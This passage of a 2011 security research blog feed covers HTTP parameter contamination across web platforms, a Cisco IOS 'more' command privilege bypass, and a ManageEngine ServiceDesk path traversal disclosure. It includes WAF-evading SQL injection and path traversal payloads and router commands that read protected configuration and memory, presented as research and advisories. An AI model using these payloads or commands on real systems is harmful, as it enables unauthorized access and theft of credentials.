&lt;br /&gt;
&lt;a name='more'&gt;&lt;/a&gt;&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/-9Z91C5amomg/TkuW_noiQwI/AAAAAAAABSA/rxBoJu5asMg/s1600/hpc.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="275" src="http://1.bp.blogspot.com/-9Z91C5amomg/TkuW_noiQwI/AAAAAAAABSA/rxBoJu5asMg/s400/hpc.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
&lt;i&gt;* the "\0" character means that null byte is correctly processed by the application.&lt;/i&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The most interesting features are marked in dark red. Features which are slightly less interesting but worthy of attention are highlighted in pale red. Let’s examine these results in details.&lt;br /&gt;
&lt;br /&gt;
The specifics of how incoming data is processed by an ASP web-application are the most valuable feature for an attacker. The thing is that an &lt;b&gt;ASP application simply deletes the "%" character in the parameter name or parameter value if the character does not make a legal character when decoding a URL&lt;/b&gt;. This feature allows easy bypassing of different security filters and Web Application Firewall which are applied before the application processes the incoming data. In his survey, Ivan Markovic brings the example of how the Mod_Security rules are bypassed when exploiting the Path traversal vulnerability:&lt;br /&gt;
&lt;blockquote&gt;http://192.168.2.105/test.asp?file=.%./bla.txt&lt;/blockquote&gt;MSSQL DBMS and the SQL Injection vulnerabilities which have been revealed in the application are more applicable to the IIS platform. By using this method, this vulnerability can be exploited in the same way in bypass of the relevant Mod_Security rules:&lt;br /&gt;
&lt;br /&gt;
?id=1;selec%t+@%@version--&lt;br /&gt;
?id=1;selec%t+convert(int,(selec%t+table%_name+from(selec%t+row_number()+over+(order+by+table%_name)+as+rownu%m,table%_name+from+information_schema.tables)+as +t+where+t.rownu%m=1))--&lt;br /&gt;
...&lt;br /&gt;
&lt;br /&gt;
It must be noted here, that this refers to bypassing the base rules of Mod_Security. If extended rules (optional or experimental) are used, this trick will not work.&lt;br /&gt;
&lt;br /&gt;
Other specific features of data processing which are as useful as the feature described above refer to the PHP interpreter. These are the implicit conversion of types (&lt;b&gt;?param[]=123 -&amp;gt; param=Array&lt;/b&gt;) which is well-known to anyone and also the control over the &amp;nbsp;$_SERVER["argv"] (&lt;b&gt;?1+2&lt;/b&gt;) array when the "on" value is set in the "register_argc_argv" configuration. The attacker may use the first specific feature of PHP to bypass various restrictions (for example, when the variables are compared implicitly) as well as to force an error message to be displayed (for example, accessing the root directory of a web server). Another specific feature of PHP allows running a script form the web server and deliver the parameters which the script receives from the command line.&lt;br /&gt;
&lt;br /&gt;
The substitution of the “+", ".", "[" characters and "space" for the underscore character ("_") is a slightly less interesting feature of PHP. Why this feature brings less damage? The thing is that PHP behaves in this way only when the web server receives parameter names rather than the values of these parameters. This fact significantly reduces the chance that this feature will be used in practice.&lt;br /&gt;
&lt;br /&gt;
And the last thing I want to draw your attention to is the Python interpreter. Fuzz testing revealed that when Python detects characters of the %80-%FF range, it returns an error (disclosure, etc.)):&lt;br /&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/-CdKmLj9IGQ8/TkuYNVLurTI/AAAAAAAABSE/XeeCiyRAG1k/s1600/hpc_python.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="128" src="http://4.bp.blogspot.com/-CdKmLj9IGQ8/TkuYNVLurTI/AAAAAAAABSE/XeeCiyRAG1k/s400/hpc_python.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
&lt;b&gt;(Appendix)&lt;/b&gt;&lt;br /&gt;
I used these scripts for testing.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;PHP:&lt;/b&gt;&lt;br /&gt;
&lt;!--?php&lt;/p--&gt;&lt;br /&gt;
$G = &amp;amp;$_GET;&lt;br /&gt;
foreach ($G as $k=&amp;gt;$v)&lt;br /&gt;
{&lt;br /&gt;
print $k."=".$v;&lt;br /&gt;
}&lt;br /&gt;
?&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;ASP:&lt;/b&gt;&lt;br /&gt;
&amp;lt;%&lt;br /&gt;
for each var in Request.QueryString&lt;br /&gt;
&amp;nbsp; &amp;nbsp;Response.Write ( var &amp;amp; "=" &amp;amp; Request.QueryString ( var ) )&lt;br /&gt;
next&lt;br /&gt;
%&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;JAVA:&lt;/b&gt;&lt;br /&gt;
&amp;lt;%&lt;br /&gt;
java.util.Enumeration names = request.getParameterNames();&lt;br /&gt;
while(names.hasMoreElements()){&lt;br /&gt;
String keyx = names.nextElement().toString();&lt;br /&gt;
out.println(keyx + "=" + request.getParameter(keyx)); }&lt;br /&gt;
%&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;PERL:&lt;/b&gt;&lt;br /&gt;
use CGI;&lt;br /&gt;
my $cgi = new CGI;&lt;br /&gt;
my @params = $cgi-&amp;gt;param();&lt;br /&gt;
print &amp;lt;&lt;endoftext;&lt; p=""&gt;&lt;/endoftext;&lt;&gt;&lt;br /&gt;
HTTP/1.0 200 OK&lt;br /&gt;
Content-Type: text/html&lt;br /&gt;
&lt;br /&gt;
ENDOFTEXT&lt;br /&gt;
foreach my $parameter (sort @params) {&lt;br /&gt;
print $parameter."=".$cgi-&amp;gt;param($parameter);&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;PYTHON:&lt;/b&gt;&lt;br /&gt;
import cgi, os&lt;br /&gt;
&lt;br /&gt;
print ('Status: 200 OK')&lt;br /&gt;
print ('Content-type: text/html; charset=utf-8;')&lt;br /&gt;
print("")&lt;br /&gt;
&lt;br /&gt;
query = os.environ.get('QUERY_STRING')&lt;br /&gt;
&lt;br /&gt;
pairs = cgi.parse_qs( query )&lt;br /&gt;
&lt;br /&gt;
for key, value in pairs.items():&lt;br /&gt;
&amp;nbsp; &amp;nbsp; print (key,value)&lt;br /&gt;
&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8549938467002440724-8910508877650044942?l=ptresearch.blogspot.com' alt='' /&gt;&lt;/div&gt;</description><link>http://ptresearch.blogspot.com/2011/08/http-parameter-contamination-more.html</link><author>noreply@blogger.com (Dmitry Evteev)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://1.bp.blogspot.com/-9Z91C5amomg/TkuW_noiQwI/AAAAAAAABSA/rxBoJu5asMg/s72-c/hpc.png" height="72" width="72" /><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-8549938467002440724.post-2093229132858257936</guid><pubDate>Thu, 11 Aug 2011 12:25:00 +0000</pubDate><atom:updated>2011-08-15T02:31:36.203-07:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">server-side attacks</category><category domain="http://www.blogger.com/atom/ns#">research</category><category domain="http://www.blogger.com/atom/ns#">phdays</category><category domain="http://www.blogger.com/atom/ns#">DoS</category><category domain="http://www.blogger.com/atom/ns#">security</category><category domain="http://www.blogger.com/atom/ns#">analytics</category><title>PenTest Magazine August Issue</title><description>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;&lt;a href="http://phdays.com/"&gt;Positive Hack Days&lt;/a&gt; material win the world – now there is an article in August issue of &lt;a href="http://pentestmag.com/august-issue-pentesting-in-the-cloud/"&gt;PenTest Magazine&lt;/a&gt; completely devoted to cloud computing and prepared by &lt;a href="http://gordeys.blogspot.com/"&gt;Sergey Gordeychik&lt;/a&gt;, CTO of &lt;a href="http://www.ptsecurity.com/"&gt;Positive Technologies&lt;/a&gt; and &lt;a href="https://twitter.com/#!/ygoltsev"&gt;Yuri Goltsev&lt;/a&gt;, penetration testing expert.&lt;br /&gt;
&lt;a name='more'&gt;&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;{AB}Use their clouds&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
Annotation from the magazine:&lt;br /&gt;
&lt;br /&gt;
Penetration testing can benefit of cloud computing to improve the business model for resource intensive tests. The flexibility and cost effectiveness of the IaaS model can be used for resource greedy activities as brute forcing or denial-of-service tests.&lt;br /&gt;
&lt;br /&gt;
The article is based on {AB}Use Their Clouds &lt;a href="http://www.slideshare.net/phdays/ab-use-their-clouds"&gt;presentation&lt;/a&gt; presented by Sergey Gordeychik on Positive Hack Days.&lt;br /&gt;
&lt;br /&gt;
The article is about practical usage of cloud computing in daily routing of a penetration tester. It includes rainbow tables for offline password bruteforce with examples and costs to implement password bruteforce based on widely known encryption algorithms. The article also includes basics of network services on cloud computing such as distributed network scanning service (IDS bypass), fault tolerance testing service, public data gathering service. Special attention is paid to fault tolerance service as now it is a very actual question. The article touches upon clouds provider confidence, appropriate software and reaction to abuses.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8549938467002440724-2093229132858257936?l=ptresearch.blogspot.com' alt='' /&gt;&lt;/div&gt;</description><link>http://ptresearch.blogspot.com/2011/08/pentest-magazine-august-issue.html</link><author>noreply@blogger.com (Dmitry Evteev)</author><thr:total>1</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-8549938467002440724.post-730742991143480576</guid><pubDate>Tue, 12 Jul 2011 07:58:00 +0000</pubDate><atom:updated>2011-07-12T01:03:40.016-07:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">vulns</category><category domain="http://www.blogger.com/atom/ns#">Cisco</category><title>More Cisco, "more" vulnerability</title><description>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/-z2qzBMNvgPE/Thv_yTPd87I/AAAAAAAAAFs/oNWs0Ct7yJI/s1600/cisco_sim.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="171" src="http://2.bp.blogspot.com/-z2qzBMNvgPE/Thv_yTPd87I/AAAAAAAAAFs/oNWs0Ct7yJI/s200/cisco_sim.jpg" width="200" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;b&gt;Positive Research&lt;/b&gt; has discovered a vulnerability in Cisco devices. The vulnerability allows attackers to bypass certain access restrictions.&lt;br /&gt;
A possible security flaw was detected because of privileged command restrictions, in particular – "more" command that allows attackers to obtain router configuration stored in nvram, system (RAM), flash elements. &lt;br /&gt;
If more command access settings are configured as privilege exec level {number} more, opposed to commands like &lt;b&gt;show&lt;/b&gt;, disk element access is propagated to all lower levels that could allow unauthorized users to obtain router memory and its elements nvram, system (RAM), flash.&lt;br /&gt;
Such problems are detected for IOS routers and switchers 12.2, 12.3, 12.4, 15.0.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;span class="Apple-style-span" style="font-size: large;"&gt;Details&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
IOS 12.2, 12.3 limit access to configuration that can be obtained from &lt;b&gt;system:running-config&lt;/b&gt;, but prevent reading directly from router memory (&lt;b&gt;system:memory&lt;/b&gt;) to get the data, also reading from configuration and other files in router’s flash and nvram can is not limited.&lt;br /&gt;
IOS 12.4, 15.0 opposed to versions 12.2, 12.3, do not limit access from all router’s elements nvram, system (RAM), flash.&lt;br /&gt;
More details and how to fix are available here:&amp;nbsp;&lt;span class="Apple-style-span" style="font-family: Calibri, sans-serif; font-size: 15px; line-height: 17px;"&gt;&lt;a href="http://tools.cisco.com/Support/BugToolKit/search/getBugDetails.do?method=fetchBugDetails&amp;amp;bugId=CSCtk17827"&gt;http://tools.cisco.com/Support/BugToolKit/search/getBugDetails.do?method=fetchBugDetails&amp;amp;bugId=CSCtk17827&lt;/a&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span class="Apple-style-span" style="font-family: Calibri, sans-serif;"&gt;&lt;span class="Apple-style-span" style="font-size: 15px; line-height: 17px;"&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;b&gt;Example 1. How to get configuration&lt;/b&gt;&lt;br /&gt;
Cisco 3550-12T (12.2(50)SE)&lt;br /&gt;
C3550 Software (C3550-IPSERVICESK9-M), Version 12.2(50)SE)&lt;br /&gt;
&lt;br /&gt;
&lt;a name='more'&gt;&lt;/a&gt;&lt;br /&gt;
Device configuration:&lt;br /&gt;
&lt;code&gt;&lt;/code&gt;&lt;br /&gt;
&lt;code&gt;!&lt;/code&gt;&lt;br /&gt;
&lt;code&gt;version 12.2&lt;/code&gt;&lt;br /&gt;
&lt;code&gt;no service pad&lt;/code&gt;&lt;br /&gt;
&lt;code&gt;service timestamps debug uptime&lt;/code&gt;&lt;br /&gt;
&lt;code&gt;service timestamps log uptime&lt;/code&gt;&lt;br /&gt;
&lt;code&gt;service password-encryption&lt;/code&gt;&lt;br /&gt;
&lt;code&gt;!&lt;/code&gt;&lt;br /&gt;
&lt;code&gt;hostname C3550&lt;/code&gt;&lt;br /&gt;
&lt;code&gt;!&lt;/code&gt;&lt;br /&gt;
&lt;code&gt;…&lt;/code&gt;&lt;br /&gt;
&lt;code&gt;!&lt;/code&gt;&lt;br /&gt;
&lt;code&gt;snmp-server community &lt;removed&gt; RO&lt;/removed&gt;&lt;/code&gt;&lt;br /&gt;
&lt;code&gt;!&lt;/code&gt;&lt;br /&gt;
&lt;code&gt;control-plane&lt;/code&gt;&lt;br /&gt;
&lt;code&gt;!&lt;/code&gt;&lt;br /&gt;
&lt;code&gt;privilege exec level 8 access-template&lt;/code&gt;&lt;br /&gt;
&lt;code&gt;privilege exec level 8 clear access-template&lt;/code&gt;&lt;br /&gt;
&lt;code&gt;privilege exec level 8 clear&lt;/code&gt;&lt;br /&gt;
&lt;code&gt;privilege exec level 3 more&lt;/code&gt;&lt;br /&gt;
&lt;code&gt;privilege exec level 3 show&lt;/code&gt;&lt;br /&gt;
&lt;code&gt;!&lt;/code&gt;&lt;br /&gt;
&lt;code&gt;line con 0&lt;/code&gt;&lt;br /&gt;
&lt;code&gt;line vty 5 15&lt;/code&gt;&lt;br /&gt;
&lt;code&gt;!&lt;/code&gt;&lt;br /&gt;
&lt;code&gt;end&lt;/code&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;"show" command (low level privileges):&lt;/b&gt;&lt;br /&gt;
&lt;code&gt;&lt;/code&gt;&lt;br /&gt;
&lt;code&gt;C3550#show running-config&lt;/code&gt;&lt;br /&gt;
&lt;code&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; ^&lt;/code&gt;&lt;br /&gt;
&lt;code&gt;% Invalid input detected at '^' marker.&lt;/code&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;code&gt;C3550#show startup-config&lt;/code&gt;&lt;br /&gt;
&lt;code&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; ^&lt;/code&gt;&lt;br /&gt;
&lt;code&gt;% Invalid input detected at '^' marker.&lt;/code&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;"more" command (low level privileges):&lt;/b&gt;&lt;br /&gt;
&lt;code&gt;&lt;/code&gt;&lt;br /&gt;
&lt;code&gt;&lt;b&gt;C3550#more flash:config.text&lt;/b&gt;&lt;/code&gt;&lt;br /&gt;
&lt;code&gt;!&lt;/code&gt;&lt;br /&gt;
&lt;code&gt;version 12.2&lt;/code&gt;&lt;br /&gt;
&lt;code&gt;no service pad&lt;/code&gt;&lt;br /&gt;
&lt;code&gt;service timestamps debug uptime&lt;/code&gt;&lt;br /&gt;
&lt;code&gt;service timestamps log uptime&lt;/code&gt;&lt;br /&gt;
&lt;code&gt;service password-encryption&lt;/code&gt;&lt;br /&gt;
&lt;code&gt;!&lt;/code&gt;&lt;br /&gt;
&lt;code&gt;hostname C3550&lt;/code&gt;&lt;br /&gt;
&lt;code&gt;!&lt;/code&gt;&lt;br /&gt;
&lt;code&gt;enable secret 5 &lt;password&gt;&lt;/password&gt;&lt;/code&gt;&lt;br /&gt;
&lt;code&gt;!&lt;/code&gt;&lt;br /&gt;
&lt;code&gt;username ptuser privilege 3 password 7 &lt;password&gt;&lt;/password&gt;&lt;/code&gt;&lt;br /&gt;
&lt;code&gt;aaa new-model&lt;/code&gt;&lt;br /&gt;
&lt;code&gt;…&lt;/code&gt;&lt;br /&gt;
&lt;code&gt;!&lt;/code&gt;&lt;br /&gt;
&lt;code&gt;snmp-server community &lt;removed&gt; RO&lt;/removed&gt;&lt;/code&gt;&lt;br /&gt;
&lt;code&gt;!&lt;/code&gt;&lt;br /&gt;
&lt;code&gt;control-plane&lt;/code&gt;&lt;br /&gt;
&lt;code&gt;!&lt;/code&gt;&lt;br /&gt;
&lt;code&gt;privilege exec level 8 access-template&lt;/code&gt;&lt;br /&gt;
&lt;code&gt;privilege exec level 8 clear access-template&lt;/code&gt;&lt;br /&gt;
&lt;code&gt;privilege exec level 8 clear&lt;/code&gt;&lt;br /&gt;
&lt;code&gt;privilege exec level 3 more&lt;/code&gt;&lt;br /&gt;
&lt;code&gt;privilege exec level 3 show&lt;/code&gt;&lt;br /&gt;
&lt;code&gt;!&lt;/code&gt;&lt;br /&gt;
&lt;code&gt;line con 0&lt;/code&gt;&lt;br /&gt;
&lt;code&gt;line vty 5 15&lt;/code&gt;&lt;br /&gt;
&lt;code&gt;!&lt;/code&gt;&lt;br /&gt;
&lt;code&gt;end&lt;/code&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
So in spite the fact that device configuration access via show command is restricted, an attacker can get the configuration via "more" command.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Example 2&lt;/b&gt;&lt;br /&gt;
&lt;code&gt;&lt;/code&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;code&gt;&lt;b&gt;C3550#more nvram:startup-config&lt;/b&gt;&lt;/code&gt;&lt;br /&gt;
&lt;code&gt;!&lt;/code&gt;&lt;br /&gt;
&lt;code&gt;version 12.2&lt;/code&gt;&lt;br /&gt;
&lt;code&gt;no service pad&lt;/code&gt;&lt;br /&gt;
&lt;code&gt;service timestamps debug uptime&lt;/code&gt;&lt;br /&gt;
&lt;code&gt;service timestamps log uptime&lt;/code&gt;&lt;br /&gt;
&lt;code&gt;service password-encryption&lt;/code&gt;&lt;br /&gt;
&lt;code&gt;!&lt;/code&gt;&lt;br /&gt;
&lt;code&gt;hostname C3550&lt;/code&gt;&lt;br /&gt;
&lt;code&gt;!&lt;/code&gt;&lt;br /&gt;
&lt;code&gt;enable secret 5 &lt;password&gt;&lt;/password&gt;&lt;/code&gt;&lt;br /&gt;
&lt;code&gt;!&lt;/code&gt;&lt;br /&gt;
&lt;code&gt;username ptuser privilege 3 password 7 &lt;password&gt;&lt;/password&gt;&lt;/code&gt;&lt;br /&gt;
&lt;code&gt;aaa new-model&lt;/code&gt;&lt;br /&gt;
&lt;code&gt;…&lt;/code&gt;&lt;br /&gt;
&lt;code&gt;!&lt;/code&gt;&lt;br /&gt;
&lt;code&gt;snmp-server community &lt;removed&gt; RO&lt;/removed&gt;&lt;/code&gt;&lt;br /&gt;
&lt;code&gt;!&lt;/code&gt;&lt;br /&gt;
&lt;code&gt;control-plane&lt;/code&gt;&lt;br /&gt;
&lt;code&gt;!&lt;/code&gt;&lt;br /&gt;
&lt;code&gt;privilege exec level 8 access-template&lt;/code&gt;&lt;br /&gt;
&lt;code&gt;privilege exec level 8 clear access-template&lt;/code&gt;&lt;br /&gt;
&lt;code&gt;privilege exec level 8 clear&lt;/code&gt;&lt;br /&gt;
&lt;code&gt;privilege exec level 3 more&lt;/code&gt;&lt;br /&gt;
&lt;code&gt;privilege exec level 3 show&lt;/code&gt;&lt;br /&gt;
&lt;code&gt;!&lt;/code&gt;&lt;br /&gt;
&lt;code&gt;line con 0&lt;/code&gt;&lt;br /&gt;
&lt;code&gt;line vty 5 15&lt;/code&gt;&lt;br /&gt;
&lt;code&gt;!&lt;/code&gt;&lt;br /&gt;
&lt;code&gt;end&lt;/code&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;code&gt;&lt;/code&gt;&lt;br /&gt;
&lt;code&gt;&lt;b&gt;C3550#more system:?&lt;/b&gt;&lt;/code&gt;&lt;br /&gt;
&lt;code&gt;system:default-running-config &amp;nbsp;system:memory &amp;nbsp;system:running-config&lt;/code&gt;&lt;br /&gt;
&lt;code&gt;system:vfiles&lt;/code&gt;&lt;br /&gt;
&lt;code&gt;&lt;b&gt;C3550#more system:running-config&lt;/b&gt;&lt;/code&gt;&lt;br /&gt;
&lt;code&gt;00000000: &amp;nbsp;0A210A21 0A210A21 0A210A21 0A656E64 &amp;nbsp; &amp;nbsp;.!.! .!.! .!.! .end&lt;/code&gt;&lt;br /&gt;
&lt;code&gt;00000010: &amp;nbsp;0AXXXXXX XXXXXXXX XXXXXXXX XXXXXXXX &amp;nbsp; &amp;nbsp;.XXX XXXX XXXX XXXX&lt;/code&gt;&lt;br /&gt;
&lt;div&gt;&lt;/div&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;&lt;b&gt;Example 3. Device memory&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;b&gt;&lt;br /&gt;
&lt;/b&gt;&lt;/div&gt;&lt;div&gt;An attacker can read Cisco device memory, get history and configurations via «&lt;b&gt;more system:memory/main&lt;/b&gt;» command.&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style="text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/-KY8D7CR4io8/Thv8fwC6v-I/AAAAAAAAAFk/xgjey97g1Pc/s1600/cisco_1.jpg" imageanchor="1" style="margin-left: auto; margin-right: auto;"&gt;&lt;img border="0" height="159" src="http://4.bp.blogspot.com/-KY8D7CR4io8/Thv8fwC6v-I/AAAAAAAAAFk/xgjey97g1Pc/s320/cisco_1.jpg" width="320" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="tr-caption" style="text-align: center;"&gt;Commands history (including passwords)&lt;br /&gt;
&lt;br /&gt;
&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style="text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/-_G_QSezc85A/Thv8qocV51I/AAAAAAAAAFo/UeGlfTorTPo/s1600/cisco_2.jpg" imageanchor="1" style="margin-left: auto; margin-right: auto;"&gt;&lt;img border="0" height="160" src="http://1.bp.blogspot.com/-_G_QSezc85A/Thv8qocV51I/AAAAAAAAAFo/UeGlfTorTPo/s320/cisco_2.jpg" width="320" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="tr-caption" style="text-align: center;"&gt;How to get configuration via memory&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;&lt;b&gt;HTF&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;div class="MsoNormal" style="text-align: justify;"&gt;&lt;span lang="EN-US" style="color: #1f497d;"&gt;Install the version that is not vulnerable&lt;/span&gt;&lt;span lang="EN-US"&gt;.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;&lt;span lang="EN-US" style="color: #1f497d; font-family: Calibri, sans-serif; font-size: 11pt; line-height: 115%;"&gt;Details are available here&lt;/span&gt;&lt;span lang="EN-US" style="font-family: Calibri, sans-serif; font-size: 11pt; line-height: 115%;"&gt;: &lt;/span&gt;&lt;span style="font-family: Calibri, sans-serif; font-size: 11pt; line-height: 115%;"&gt;&lt;span lang="EN-US"&gt;&lt;a href="http://tools.cisco.com/Support/BugToolKit/search/getBugDetails.do?method=fetchBugDetails&amp;amp;bugId=CSCtk17827"&gt;http://tools.cisco.com/Support/BugToolKit/search/getBugDetails.do?method=fetchBugDetails&amp;amp;bugId=CSCtk17827&lt;/a&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="font-family: Calibri, sans-serif; font-size: 11pt; line-height: 115%;"&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: Calibri, sans-serif; font-size: 15px; line-height: 17px;"&gt;&lt;b&gt;Vulnerability discovered by:&lt;/b&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: Calibri, sans-serif; font-size: 15px; line-height: 17px;"&gt; Sergey Pavlov, Roman Ilin (Positive Research Center)&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: Calibri, sans-serif;"&gt;&lt;span class="Apple-style-span" style="font-size: 15px; line-height: 17px;"&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: Calibri, sans-serif;"&gt;&lt;span class="Apple-style-span" style="font-size: 15px; line-height: 17px;"&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8549938467002440724-730742991143480576?l=ptresearch.blogspot.com' alt='' /&gt;&lt;/div&gt;</description><link>http://ptresearch.blogspot.com/2011/07/more-cisco-more-vulnerability.html</link><author>noreply@blogger.com (Positive Research)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://2.bp.blogspot.com/-z2qzBMNvgPE/Thv_yTPd87I/AAAAAAAAAFs/oNWs0Ct7yJI/s72-c/cisco_sim.jpg" height="72" width="72" /><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-8549938467002440724.post-7442521459012986317</guid><pubDate>Thu, 07 Jul 2011 08:11:00 +0000</pubDate><atom:updated>2011-07-11T09:10:52.692-07:00</atom:updated><title>ServiceDesk security or rate penetration testing</title><description>&lt;div style="text-align: justify;"&gt;&lt;a href="http://1.bp.blogspot.com/-c4kwUIsBk68/ThVwpw565vI/AAAAAAAAAAY/JvqUp-ntE7g/s1600/logo.png" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}"&gt;&lt;img alt="" border="0" id="BLOGGER_PHOTO_ID_5626527172274087666" src="http://1.bp.blogspot.com/-c4kwUIsBk68/ThVwpw565vI/AAAAAAAAAAY/JvqUp-ntE7g/s320/logo.png" style="cursor: hand; cursor: pointer; float: left; height: 110px; margin: 0 10px 10px 0; width: 110px;" /&gt;&lt;/a&gt;In penetration testing, Positive Research experts meet enterprise web-based solutions located inside a corporate network or on its perimeter. Applications like ServiceDesk, ERP, billing systems, etc. are examples of similar systems. The tendency «all requests via port 80» usually leads to situations when applications created for internal networks are published in the Internet.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;
Today we pay special attention to &lt;a href="http://www.manageengine.com/"&gt;ManageEngine ServiceDesk&lt;/a&gt; user support application, that was first noted by PT experts in November, 2010 in penetration testing in a big company. ManageEngine ServiceDesk is commercial software based on Java, and aims to automate technical support service functions according to ITIL/ITSM recommendations.&lt;br /&gt;
&lt;br /&gt;
We identified the solution on the network front-end, and tried to find details about associated vulnerabilities in public resources. But we found nothing. To decrease impact to testing network, we used vendor’s evaluation version for further research.&lt;br /&gt;
&lt;br /&gt;
We installed the system on our testing machine and detected several vulnerabilities via fazzing and manual analysis (&lt;a href="http://www.ptsecurity.ru/advisory1.aspx"&gt;http://www.ptsecurity.ru/advisory1.aspx&lt;/a&gt;):&lt;br /&gt;
- Arbitrary command execution in ManageEngine ServiceDesk Plus 8.0.0&lt;br /&gt;
- Information disclosure in ManageEngine ServiceDesk Plus 8.0.0&lt;br /&gt;
- Root path traversal in ManageEngine ServiceDesk Plus 8.0.0&lt;br /&gt;
&lt;br /&gt;
&lt;a name='more'&gt;&lt;/a&gt;&lt;br /&gt;
According to &lt;a href="http://en.securitylab.ru/lab/disclosure-policy.php"&gt;PT disclosure policy&lt;/a&gt;, we prepared and sent appropriate messages to the vendor. As one of the vulnerabilities was described 23th June, 2011 on popular resource &lt;a href="http://exploit-db.com/"&gt;exploit-db.com&lt;/a&gt; (&lt;a href="http://www.exploit-db.com/exploits/17437/"&gt;ManageEngine Service Desk Plus 8.0 Directory Traversal Vulnerability&lt;/a&gt;), Positive Research Team published its details.&lt;br /&gt;
&lt;br /&gt;
The vulnerability is found in FileDownload.jsp script and allows users to load files from remote servers. The vulnerability allows attackers to conduct &lt;a href="https://www.owasp.org/index.php/Category:Path_Traversal_Attack"&gt;path traversal attack&lt;/a&gt; and get contents of the file located outside ServiceDesk web directory. The vulnerability is especially dangerous, as unauthorized users have access to FileDownload.jsp script functions. Distribution kits for different OSes are vulnerable. In OS Windows, an attacker can get any file from the system logical disk. For Unix-like systems, an attacker can get any file if the user who started the application has rights to read.&lt;br /&gt;
&lt;br /&gt;
The vulnerability was used in penetration testing to read ManageEngine ServiceDesk backup files.&lt;br /&gt;
&lt;br /&gt;
